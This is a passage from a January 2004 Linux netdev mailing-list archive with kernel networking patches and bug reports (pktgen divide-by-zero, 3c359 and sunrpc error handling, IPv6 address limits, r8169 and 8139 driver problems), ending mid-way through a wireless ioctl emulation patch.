sex: werewolf!able!es \ It's better when it's free Mandrake Linux release 10.0 (Cooker) for i586 Linux 2.6.1-jam4 (gcc 3.3.2 (Mandrake Linux 10.0 3.3.2-4mdk)) From akpm@osdl.org Sun Jan 18 00:16:44 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 18 Jan 2004 00:16:58 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0I8GhmK003509 for ; Sun, 18 Jan 2004 00:16:44 -0800 Received: from mnm (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i0I8GZo30841; Sun, 18 Jan 2004 00:16:35 -0800 Date: Sun, 18 Jan 2004 00:17:08 -0800 From: Andrew Morton To: "J.A. Magallon" Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: 2.6.1-mm4 Message-Id: <20040118001708.09291455.akpm@osdl.org> In-Reply-To: <20040118081128.GA3153@werewolf.able.es> References: <20040115225948.6b994a48.akpm@osdl.org> <20040118001217.GE3125@werewolf.able.es> <20040117215535.0e4674b8.akpm@osdl.org> <20040118081128.GA3153@werewolf.able.es> X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2576 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev Content-Length: 889 Lines: 29 "J.A. Magallon" wrote: > > > On 01.18, Andrew Morton wrote: > > "J.A. Magallon" wrote: > > > > > > On 01.16, Andrew Morton wrote: > > > > > > > > ftp://ftp.kernel.org/pub/linux/kernel/people/akpm/patches/2.6/2.6.1/2.6.1-mm4/ > > > > > > > > > > > > > > Net driver problem: > > > > > > werewolf:/etc# modprobe --verbose 3c59x > > > insmod /lib/modules/2.6.1-jam4/kernel/drivers/net/3c59x.ko > > > FATAL: Error inserting 3c59x (/lib/modules/2.6.1-jam4/kernel/drivers/net/3c59x.ko): Invalid argument > > > > hmm, cute. > > > > Yes. > It worked. > I thought of this, but why this and not the other parameters ? Compiler bug ? Presumably, recent gcc's remove the variable altogether and just expand the constant inline. When the central module code checks for the parameter's existence in the module's symbol table it errors out. From joern@wohnheim.fh-wedel.de Sun Jan 18 07:48:25 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 18 Jan 2004 07:48:40 -0800 (PST) Received: from mail.fh-wedel.de (mail.fh-wedel.de [213.39.232.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0IFmLmK026731 for ; Sun, 18 Jan 2004 07:48:24 -0800 Received: from wohnheim.fh-wedel.de (wohnheim.fh-wedel.de [213.39.233.138]) by mail.fh-wedel.de (8.12.9/8.12.9/Debian-1) with ESMTP id i0IFkJPp008672; Sun, 18 Jan 2004 16:46:22 +0100 Received: from joern by wohnheim.fh-wedel.de with local (Exim 3.35 #1 (Debian)) id 1AiF9e-00033O-00; Sun, 18 Jan 2004 16:48:02 +0100 Date: Sun, 18 Jan 2004 16:48:02 +0100 From: =?iso-8859-1?Q?J=F6rn?= Engel To: Lennert Buytenhek Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: [PATCH] Re: [2.6.0, pktgen] divide-by-zero Message-ID: <20040118154802.GE10397@wohnheim.fh-wedel.de> References: <20031231111316.GA10218@gnu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: <20031231111316.GA10218@gnu.org> User-Agent: Mutt/1.3.28i X-MIME-Autoconverted: from 8bit to quoted-printable by mail.fh-wedel.de id i0IFkJPp008672 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i0IFmLmK026731 X-archive-position: 2577 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: joern@wohnheim.fh-wedel.de Precedence: bulk X-list: netdev Content-Length: 1146 Lines: 33 On Wed, 31 December 2003 06:13:16 -0500, Lennert Buytenhek wrote: > > When generating packets with pktgen with count=10, I get a divide-by-zero > oops in inject(). > > Line 273 in net/core/pktgen.c seems unsafe: > __u64 pps = (__u32)(info->sofar * 1000) / ((__u32)(total) / 1000); > > What if total < 1000 ? Since noone else seemed to care, try this patch. Against -test11, yeah, I'm lazy again. Jörn -- Time? What's that? Time is only worth what you do with it. -- Theo de Raadt --- old/net/core/pktgen.c 2003-11-26 21:44:47.000000000 +0100 +++ new/net/core/pktgen.c 2004-01-18 16:27:10.000000000 +0100 @@ -720,7 +720,9 @@ { char *p = info->result; - __u64 pps = (__u32)(info->sofar * 1000) / ((__u32)(total) / 1000); + __u32 safe_total = (__u32)(total) / 1000; + safe_total += 1 - (!!safe_total); /* avoid divide-by-zero */ + __u64 pps = (__u32)(info->sofar * 1000) / safe_total; __u64 bps = pps * 8 * (info->pkt_size + 4); /* take 32bit ethernet CRC into account */ p += sprintf(p, "OK: %llu(c%llu+d%llu) usec, %llu (%dbyte,%dfrags) %llupps %lluMb/sec (%llubps) errors: %llu", (unsigned long long) total, From pb@bieringer.de Sun Jan 18 13:16:17 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 18 Jan 2004 13:16:32 -0800 (PST) Received: from smtp2.aerasec.de (gromit.aerasec.de [195.226.187.57]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0ILGFmK007370 for ; Sun, 18 Jan 2004 13:16:16 -0800 Received: by smtp2.aerasec.de (Postfix, from userid 995) id 673E3137E8; Sun, 18 Jan 2004 22:16:06 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by smtp2.aerasec.de (Postfix) with SMTP id 047D6137EA for ; Sun, 18 Jan 2004 22:16:05 +0100 (CET) X-AV-Checked: Sun Jan 18 22:16:05 2004 smtp2.aerasec.de Received: from [192.168.1.2] (p50805B86.dip.t-dialin.net [80.128.91.134]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by smtp2.aerasec.de (Postfix) with ESMTP id 4C022137E8 for ; Sun, 18 Jan 2004 22:16:04 +0100 (CET) Date: Sun, 18 Jan 2004 22:15:59 +0100 From: Peter Bieringer To: netdev@oss.sgi.com Subject: Re: [PATCH] IPV6: added sysctl for maximum number of addresses Message-ID: <59590000.1074460559@worker.muc.bieringer.de> In-Reply-To: <20040115141016.15277a53.davem@redhat.com> References: <20040115.213014.133549139.yoshfuji@linux-ipv6.org> <20040116.003433.120676843.yoshfuji@linux-ipv6.org> <20040115141016.15277a53.davem@redhat.com> X-Mailer: Mulberry/3.1.1 (Linux/x86) X-URL: http://www.bieringer.de/pb/ X-OS: Linux MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline X-archive-position: 2578 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pb@bieringer.de Precedence: bulk X-list: netdev Content-Length: 1472 Lines: 44 --On Thursday, January 15, 2004 02:10:16 PM -0800 "David S. Miller" wrote: > On Fri, 16 Jan 2004 00:34:33 +0900 (JST) > YOSHIFUJI Hideaki / _$B5HF#1QL@ wrote: > >> My point is the value becomes configurable. >> "16" is consistent with current behavior. >> I do not change the default value with this patch. >> >> If you think it is too small, feel free to submit a patch to increase >> the default value. > > I agree with Yoshfuji-san, making it configurable and changing the default > are two different decisions to make and thus two different changes to > make. > > I will apply Yoshfuji's patch to make it configurable, and someone can > submit the change to make the default different and we can discuss that. Hmm, since when this limit exists? Looks like it was introduced after 2.4.20-28.9 (RHL9 kernel) One of my newer public servers (running upper shown kernel version) have already 23 IPv6 addresses: # ip addr show dev eth0|grep 2001 |wc -l 23 Mostly used for one IPv6 address per "on-IPv6-no-longer-virtual-IP-less" Apache2 webserver. So I have the same opinion like Pekka, 16 would be a little bit to view, 64 would be a good default value for the limit. Just my 2 cents, Peter -- Dr. Peter Bieringer http://www.bieringer.de/pb/ GPG/PGP Key 0x958F422D mailto: pb at bieringer dot de Deep Space 6 Co-Founder and Core Member http://www.deepspace6.net/ From Robert.Olsson@data.slu.se Sun Jan 18 16:10:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 18 Jan 2004 16:10:23 -0800 (PST) Received: from mail1.slu.se (mail1.slu.se [130.238.96.11]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0J0A7mK011514 for ; Sun, 18 Jan 2004 16:10:10 -0800 Received: from robur.slu.se (robur.slu.se [130.238.98.12]) by mail1.slu.se (8.12.10/8.12.10) with ESMTP id i0INFi6q029463; Mon, 19 Jan 2004 00:15:44 +0100 Received: by robur.slu.se (Postfix, from userid 1000) id C460FEDC92; Mon, 19 Jan 2004 00:15:42 +0100 (CET) From: Robert Olsson MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Message-ID: <16395.5021.616055.384516@robur.slu.se> Date: Mon, 19 Jan 2004 00:15:41 +0100 To: =?iso-8859-1?Q?J=F6rn?= Engel Cc: Lennert Buytenhek , linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: [PATCH] Re: [2.6.0, pktgen] divide-by-zero In-Reply-To: <20040118154802.GE10397@wohnheim.fh-wedel.de> References: <20031231111316.GA10218@gnu.org> <20040118154802.GE10397@wohnheim.fh-wedel.de> X-Mailer: VM 7.17 under Emacs 21.3.1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i0J0A7mK011514 X-archive-position: 2579 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Robert.Olsson@data.slu.se Precedence: bulk X-list: netdev Content-Length: 1866 Lines: 63 Hello! Jörn Engel writes: > On Wed, 31 December 2003 06:13:16 -0500, Lennert Buytenhek wrote: > > > > When generating packets with pktgen with count=10, I get a divide-by-zero > > oops in inject(). > > > > Line 273 in net/core/pktgen.c seems unsafe: > > __u64 pps = (__u32)(info->sofar * 1000) / ((__u32)(total) / 1000); > > > > What if total < 1000 ? > > Since noone else seemed to care, try this patch. Against -test11, > yeah, I'm lazy again. Sorry I missed Lennerts original posting... I suggest the patch below to get integer precision at very short time intervals too. --- linux-2.6.1/net/core/pktgen.c.orig Sun Jan 18 21:56:56 2004 +++ linux-2.6.1/net/core/pktgen.c Sun Jan 18 23:15:03 2004 @@ -88,7 +88,7 @@ #define cycles() ((u32)get_cycles()) -#define VERSION "pktgen version 1.3" +#define VERSION "pktgen version 1.31" static char version[] __initdata = "pktgen.c: v1.3: Packet Generator for packet performance testing.\n"; @@ -720,8 +720,18 @@ { char *p = info->result; - __u64 pps = (__u32)(info->sofar * 1000) / ((__u32)(total) / 1000); - __u64 bps = pps * 8 * (info->pkt_size + 4); /* take 32bit ethernet CRC into account */ + __u64 bps, pps = 0; + + if (total > 1000) + pps = (__u32)(info->sofar * 1000) / ((__u32)(total) / 1000); + else if(total > 100) + pps = (__u32)(info->sofar * 10000) / ((__u32)(total) / 100); + else if(total > 10) + pps = (__u32)(info->sofar * 100000) / ((__u32)(total) / 10); + else if(total > 1) + pps = (__u32)(info->sofar * 1000000) / (__u32)total; + + bps = pps * 8 * (info->pkt_size + 4); /* take 32bit ethernet CRC into account */ p += sprintf(p, "OK: %llu(c%llu+d%llu) usec, %llu (%dbyte,%dfrags) %llupps %lluMb/sec (%llubps) errors: %llu", (unsigned long long) total, (unsigned long long) (total - idle), Cheers. --ro From c-d.hailfinger.kernel.2003@gmx.net Sun Jan 18 16:32:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 18 Jan 2004 16:32:42 -0800 (PST) Received: from mail.gmx.net (imap.gmx.net [213.165.64.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0J0WSmK015157 for ; Sun, 18 Jan 2004 16:32:29 -0800 Received: (qmail 1457 invoked by uid 65534); 19 Jan 2004 00:32:23 -0000 Received: from stud214113.studentenheim.uni-tuebingen.de (EHLO gmx.net) (134.2.214.113) by mail.gmx.net (mp016) with SMTP; 19 Jan 2004 01:32:23 +0100 X-Authenticated: #15936885 Message-ID: <400B258D.4010301@gmx.net> Date: Mon, 19 Jan 2004 01:32:13 +0100 From: Carl-Daniel Hailfinger User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030821 X-Accept-Language: de, en MIME-Version: 1.0 To: Edgar Dombrowski CC: netdev@oss.sgi.com Subject: Re: forcedeth on Asus-Board References: <40096CBE.6030809@t-online.de> In-Reply-To: <40096CBE.6030809@t-online.de> X-Enigmail-Version: 0.76.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2580 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: c-d.hailfinger.kernel.2003@gmx.net Precedence: bulk X-list: netdev Content-Length: 1019 Lines: 34 Edgar Dombrowski wrote: > Dear Tuxers. > > Referring to an information published recently in a German Linux > Magazine, I downloaded today the "forcedeth.o" module. > > However I got a failure report as attached. [unresolved symbols due to version mismatch] > > I am using an ASUS Board A7N8X with SUSE Linux Version 9.0, Kernel > version 2.4.22. You are using 2.4.21-99. > > Can You help? Yes. Please upgrade to k_athlon-2.4.21-166 because that has many security fixes you'll need. Simply issue an online update or download ftp://ftp.leo.org:/pub/suse/i386/update/9.0/rpm/i586/k_athlon-2.4.21-166.i586.rpm and install it with yast -i k_athlon-2.4.21-166.i586.rpm Then download the latest (dated 3004-01-19) forcedeth.o from http://www.hailfinger.org/carldani/linux/patches/forcedeth/ and copy it to /lib/modules/2.4.21-166-athlon/kernel/drivers/net/ and run lilo if needed (you probably use grub so this won't apply). Now reboot and everything should be fine. HTH, Carl-Daniel -- http://www.hailfinger.org/ From rddunlap@osdl.org Sun Jan 18 21:34:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 18 Jan 2004 21:34:16 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0J5Y3mK020652 for ; Sun, 18 Jan 2004 21:34:03 -0800 Received: from dragon.pdx.osdl.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0J5Xto10116; Sun, 18 Jan 2004 21:33:56 -0800 Date: Sun, 18 Jan 2004 21:15:58 -0800 From: "Randy.Dunlap" To: jgarzik@pobox.com Cc: netdev@oss.sgi.com Subject: [janitor] tr/3c359: handle kmalloc failures during init Message-Id: <20040118211558.7d85c1e2.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2581 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Content-Length: 1782 Lines: 55 Hi, Please apply to 2.6.current. From: Pablo Menichini and maximilian attems while looking at kj mails from 200212 and 200301 this patch slept through originally from: Pablo Menichini rediffed and compile tested patch applies on plain 2.6.0 maximilian attems handle kmalloc failures during init diff -puN drivers/net/tokenring/3c359.c~tr3c_kmalloc drivers/net/tokenring/3c359.c linux-261-bk4-kj1-rddunlap/drivers/net/tokenring/3c359.c | 13 +++++++++++++ 1 files changed, 13 insertions(+) diff -puN drivers/net/tokenring/3c359.c~tr3c_kmalloc drivers/net/tokenring/3c359.c --- linux-261-bk4-kj1/drivers/net/tokenring/3c359.c~tr3c_kmalloc 2004-01-16 16:03:29.000000000 -0800 +++ linux-261-bk4-kj1-rddunlap/drivers/net/tokenring/3c359.c 2004-01-16 16:03:29.000000000 -0800 @@ -642,7 +642,20 @@ static int xl_open(struct net_device *de */ /* These MUST be on 8 byte boundaries */ xl_priv->xl_tx_ring = kmalloc((sizeof(struct xl_tx_desc) * XL_TX_RING_SIZE) + 7, GFP_DMA | GFP_KERNEL) ; + if (xl_priv->xl_tx_ring == NULL) { + printk(KERN_WARNING "%s: Not enough memory to allocate rx buffers.\n", + dev->name); + free_irq(dev->irq,dev); + return -ENOMEM; + } xl_priv->xl_rx_ring = kmalloc((sizeof(struct xl_rx_desc) * XL_RX_RING_SIZE) +7, GFP_DMA | GFP_KERNEL) ; + if (xl_priv->xl_tx_ring == NULL) { + printk(KERN_WARNING "%s: Not enough memory to allocate rx buffers.\n", + dev->name); + free_irq(dev->irq,dev); + kfree(xl_priv->xl_tx_ring); + return -ENOMEM; + } memset(xl_priv->xl_tx_ring,0,sizeof(struct xl_tx_desc) * XL_TX_RING_SIZE) ; memset(xl_priv->xl_rx_ring,0,sizeof(struct xl_rx_desc) * XL_RX_RING_SIZE) ; _ -- ~Randy From rddunlap@osdl.org Sun Jan 18 21:34:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 18 Jan 2004 21:34:22 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0J5Y6mK020662 for ; Sun, 18 Jan 2004 21:34:08 -0800 Received: from dragon.pdx.osdl.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0J5Xto10112; Sun, 18 Jan 2004 21:33:55 -0800 Date: Sun, 18 Jan 2004 21:13:00 -0800 From: "Randy.Dunlap" To: davem@redhat.com Cc: netdev@oss.sgi.com Subject: [janitor] sunrpc: handle copy*user and put_user errors Message-Id: <20040118211300.3f90c945.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2582 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Content-Length: 1482 Lines: 53 Hi, Please apply to 2.6.current. From: Eugene TEO Patch compiles, and tested. Please apply. http://www.anomalistic.org/patches/sunrpc-check-ret-fixes-2.6.1-rc1-mm1.patch diff -Naur -X /home/amnesia/w/dontdiff 2.6.1-rc1-mm1/net/sunrpc/sysctl.c 2.6.1-rc1-mm1-fix/net/sunrpc/sysctl.c diff -puN net/sunrpc/sysctl.c~sunrpc_retval net/sunrpc/sysctl.c linux-261-bk4-kj1-rddunlap/net/sunrpc/sysctl.c | 9 ++++++--- 1 files changed, 6 insertions(+), 3 deletions(-) diff -puN net/sunrpc/sysctl.c~sunrpc_retval net/sunrpc/sysctl.c --- linux-261-bk4-kj1/net/sunrpc/sysctl.c~sunrpc_retval 2004-01-16 16:03:22.000000000 -0800 +++ linux-261-bk4-kj1-rddunlap/net/sunrpc/sysctl.c 2004-01-16 16:03:22.000000000 -0800 @@ -81,7 +81,8 @@ proc_dodebug(ctl_table *table, int write if (left > sizeof(tmpbuf) - 1) return -EINVAL; - copy_from_user(tmpbuf, p, left); + if (copy_from_user(tmpbuf, p, left)) + return -EFAULT; tmpbuf[left] = '\0'; for (p = tmpbuf, value = 0; '0' <= *p && *p <= '9'; p++, left--) @@ -101,9 +102,11 @@ proc_dodebug(ctl_table *table, int write len = sprintf(tmpbuf, "%d", *(unsigned int *) table->data); if (len > left) len = left; - __copy_to_user(buffer, tmpbuf, len); + if (__copy_to_user(buffer, tmpbuf, len)) + return -EFAULT; if ((left -= len) > 0) { - put_user('\n', (char *)buffer + len); + if (put_user('\n', (char *)buffer + len)) + return -EFAULT; left--; } } _ -- ~Randy From mroos@linux.ee Mon Jan 19 03:00:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 03:00:58 -0800 (PST) Received: from math.ut.ee (root@math.ut.ee [193.40.5.125]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0JB0fmK010342 for ; Mon, 19 Jan 2004 03:00:44 -0800 Received: from math.ut.ee (mroos@localhost.nic.fr [IPv6:::1]) by math.ut.ee (8.12.8+Sun/8.12.2/math-1.11) with ESMTP id i0JB0XeU018929 for ; Mon, 19 Jan 2004 13:00:34 +0200 (EET) Received: from localhost (mroos@localhost) by math.ut.ee (8.12.8+Sun/8.12.2/Submit) with ESMTP id i0JB0Xdr018905 for ; Mon, 19 Jan 2004 13:00:33 +0200 (EET) X-Authentication-Warning: math.ut.ee: mroos owned process doing -bs Date: Mon, 19 Jan 2004 13:00:32 +0200 (EET) From: Meelis Roos To: netdev@oss.sgi.com Subject: 8139 resetting problem Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2583 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mroos@linux.ee Precedence: bulk X-list: netdev I helped to debug a problem with a onboard realtek (8100B/8139D) NIC in a laptop (Clevo/KAPOK sceleton, sold as Ordi D27 in Estonia). The problem is that sometimes Linux does not initialize the NIC well enough so that I get messages about Tx timed out and DHCP not getting addresses. DHCP server sees requests but the laptop never sees the answers. Trial and error showed that the problem occurs only when doing hibernate from Windows XP Pro and then (instead of bringing up Windows) booting into Linux. Even soft reboot (or halt from Linux) doesn't cure it. Going back into Windows and doing shutdown or restart cures it. This happened with different versions of Linux, 2.4.18 Debian, 2.6.0 Debian, custom 2.6.0 and Knoppix (whatever version the newest Knoppix uses). 8139too and rtl8139 drivers in 2.4.18 behaved the same. Is there anything that the 8139too driver could do to fully reset the card on startup? Jan 19 12:44:22 laptop kernel: 8139too Fast Ethernet driver 0.9.26 Jan 19 12:44:22 laptop kernel: PCI: Enabling device 0000:00:0a.0 (0000 -> 0003) Jan 19 12:44:22 laptop kernel: eth0: RealTek RTL8139 at 0xce858000, 00:90:f5:21:db:d7, IRQ 11 Jan 19 12:44:22 laptop kernel: eth0: Identified 8139 chip type 'RTL-8100B/8139D' Jan 19 12:44:22 laptop kernel: Disabled Privacy Extensions on device c02e28e0(lo) Jan 19 12:44:22 laptop kernel: eth0: link up, 100Mbps, full-duplex, lpa 0x45E1 Jan 19 12:44:22 laptop kernel: NET: Registered protocol family 17 Jan 19 12:44:22 laptop kernel: eth0: no IPv6 routers present Jan 19 12:44:22 laptop kernel: NETDEV WATCHDOG: eth0: transmit timed out Jan 19 12:44:22 laptop kernel: eth0: Tx queue start entry 4 dirty entry 0. Jan 19 12:44:22 laptop kernel: eth0: Tx descriptor 0 is 00002000. (queue head) Jan 19 12:44:22 laptop kernel: eth0: Tx descriptor 1 is 00002000. Jan 19 12:44:22 laptop kernel: eth0: Tx descriptor 2 is 00002000. Jan 19 12:44:22 laptop kernel: eth0: Tx descriptor 3 is 00002000. -- Meelis Roos (mroos@linux.ee) From harisri@bigpond.com Mon Jan 19 03:50:46 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 03:51:00 -0800 (PST) Received: from gizmo08bw.bigpond.com (gizmo08bw.bigpond.com [144.140.70.18]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0JBohmK012223 for ; Mon, 19 Jan 2004 03:50:46 -0800 Received: (qmail 20162 invoked from network); 19 Jan 2004 11:45:40 -0000 Received: from unknown (HELO bwmam06.bigpond.com) (144.135.24.84) by gizmo08bw.bigpond.com with SMTP; 19 Jan 2004 11:45:40 -0000 Received: from 144.138.164.72 ([144.138.164.72]) by bwmam06.bigpond.com(MAM REL_3_4_2 47/67401066) with SMTP id 67401066; Mon, 19 Jan 2004 21:50:39 +1000 From: Srihari Vijayaraghavan To: Francois Romieu Subject: Re: [PROBLEM] r8169 deadlocks Date: Mon, 19 Jan 2004 22:51:41 +1100 User-Agent: KMail/1.5.4 Cc: netdev@oss.sgi.com References: <200401152039.00182.harisri@bigpond.com> <20040115220827.A22007@electric-eye.fr.zoreil.com> In-Reply-To: <20040115220827.A22007@electric-eye.fr.zoreil.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401192251.41323.harisri@bigpond.com> X-archive-position: 2584 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: harisri@bigpond.com Precedence: bulk X-list: netdev Hello Francois, On Friday 16 January 2004 08:08, Francois Romieu wrote: > Can you monitor 'vmstat 1' output on the r8169 host during the test ? Here it is (2.6.1-bk2-netdev4): procs -----------memory---------- ---swap-- -----io---- --system-- ----cpu---- r b swpd free buff cache si so bi bo in cs us sy id wa 1 0 0 887000 10820 87992 0 0 291 47 1051 170 7 4 83 6 0 0 0 886800 10820 87992 0 0 0 108 1042 13 0 0 100 0 0 0 0 886800 10820 87992 0 0 0 0 1008 3 0 0 100 0 0 0 0 886800 10820 87992 0 0 0 0 1008 3 0 0 100 0 0 0 0 886800 10820 87992 0 0 0 0 1008 3 0 0 100 0 0 0 0 886800 10836 87992 0 0 0 56 1013 18 0 0 100 0 0 0 0 886800 10840 87992 0 0 0 4 1009 10 0 0 100 0 0 0 0 886800 10840 87992 0 0 0 0 1008 3 0 0 100 0 0 0 0 886800 10840 87992 0 0 0 0 1008 3 0 0 100 0 0 0 0 886800 10840 87992 0 0 0 0 1008 3 0 0 100 0 0 0 0 886800 10848 87992 0 0 0 16 1011 11 0 0 100 0 0 0 0 886800 10848 87992 0 0 0 0 1008 7 0 0 100 0 0 0 0 886800 10848 87992 0 0 0 0 1008 3 0 0 100 0 0 0 0 886800 10848 87992 0 0 0 0 1008 3 0 0 100 0 0 0 0 886800 10848 87992 0 0 0 0 1008 3 0 0 100 0 0 0 0 886800 10856 87992 0 0 0 16 1011 11 0 0 100 0 0 0 0 886800 10864 87992 0 0 0 140 1037 12 0 0 100 0 0 0 0 886800 10864 87992 0 0 0 0 1008 3 0 0 100 0 2 0 0 886472 10864 87992 0 0 0 0 1305 1958 12 12 76 0 It hung at the final entry. > You can try 2.6.1-bk2 + Jeff Garzik's -netdev4 + > http://www.fr.zoreil.com/people/francois/misc/r8169-tx-index-overflow.patch The r8169-tc-index-overflow.patch does not (cleanly) apply on 2.6.1-bk2 + netdev4. > If it does not perform better, you can try against 2.6.1-bk1 the set at > http://www.fr.zoreil.com/linux/kernel/2.6.x/2.6.1-bk1-b I am yet to try this combination. Thanks Hari From ak@muc.de Mon Jan 19 04:33:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 04:33:15 -0800 (PST) Received: from colin2.muc.de (qmailr@colin2.muc.de [193.149.48.15]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0JCX0mK016912 for ; Mon, 19 Jan 2004 04:33:00 -0800 Received: (qmail 17086 invoked by uid 3709); 19 Jan 2004 12:33:43 -0000 Date: 19 Jan 2004 13:33:43 +0100 Date: Mon, 19 Jan 2004 13:33:43 +0100 From: Andi Kleen To: netdev@oss.sgi.com, jt@hpl.hp.com Subject: [PATCH] Add 32bit emulation for wireless Message-ID: <20040119123343.GA16292@colin2.muc.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.1i X-archive-position: 2585 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@colin2.muc.de Precedence: bulk X-list: netdev [First version of this mail seems to have gotten lost. Apologies if you see it twice] Some distributions call iwconfig at every bootup and I was sick of seeing all the unimplemented ioctl messages on AMD64 with a 32bit userland. This patch implements ioctl emulation for the wireless subsytem. The only structure that was incompatible from visual inspection was "iw_point". The rest is just passed through. It reuses the existing ioctl description table, but renames it to export it (standard_ioctls wasn't a good name for a global variable) I don't actually have have a working wireless card (only some non supported Samsung one), so I wasn't able to test it, but at least the messages are gone. -Andi diff -u linux-2.6.1-amd64/net/core/wireless.c-WIRELESS linux-2.6.1-amd64/net/core/wireless.c --- linux-2.6.1-amd64/net/core/wireless.c-WIRELESS 2003-10-09 00:29:02.000000000 +0200 +++ linux-2.6.1-amd64/net/core/wireless.c 2004-01-17 18:46:58.000000000 +0100 @@ -27,7 +27,7 @@ * o Initial dumb commit strategy based on orinoco.c * * v3 - 19.12.01 - Jean II - * o Make sure we don't go out of standard_ioctl[] in ioctl_standard_call + * o Make sure we don't go out of wireless_ioctl[] in ioctl_standard_call * o Add event dispatcher function * o Add event description * o Propagate events as rtnetlink IFLA_WIRELESS option @@ -91,7 +91,7 @@ * Meta-data about all the standard Wireless Extension request we * know about. */ -static const struct iw_ioctl_description standard_ioctl[] = { +const struct iw_ioctl_description wireless_ioctl[] = { [SIOCSIWCOMMIT - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_NULL, }, @@ -266,7 +266,7 @@ .header_type = IW_HEADER_TYPE_PARAM, }, }; -static const int standard_ioctl_num = (sizeof(standard_ioctl) / +const int wireless_ioctl_num = (sizeof(wireless_ioctl) / sizeof(struct iw_ioctl_description)); /* @@ -593,9 +593,9 @@ int user_size = 0; /* Get the description of the IOCTL */ - if((cmd - SIOCIWFIRST) >= standard_ioctl_num) + if((cmd - SIOCIWFIRST) >= wireless_ioctl_num) return -EOPNOTSUPP; - descr = &(standard_ioctl[cmd - 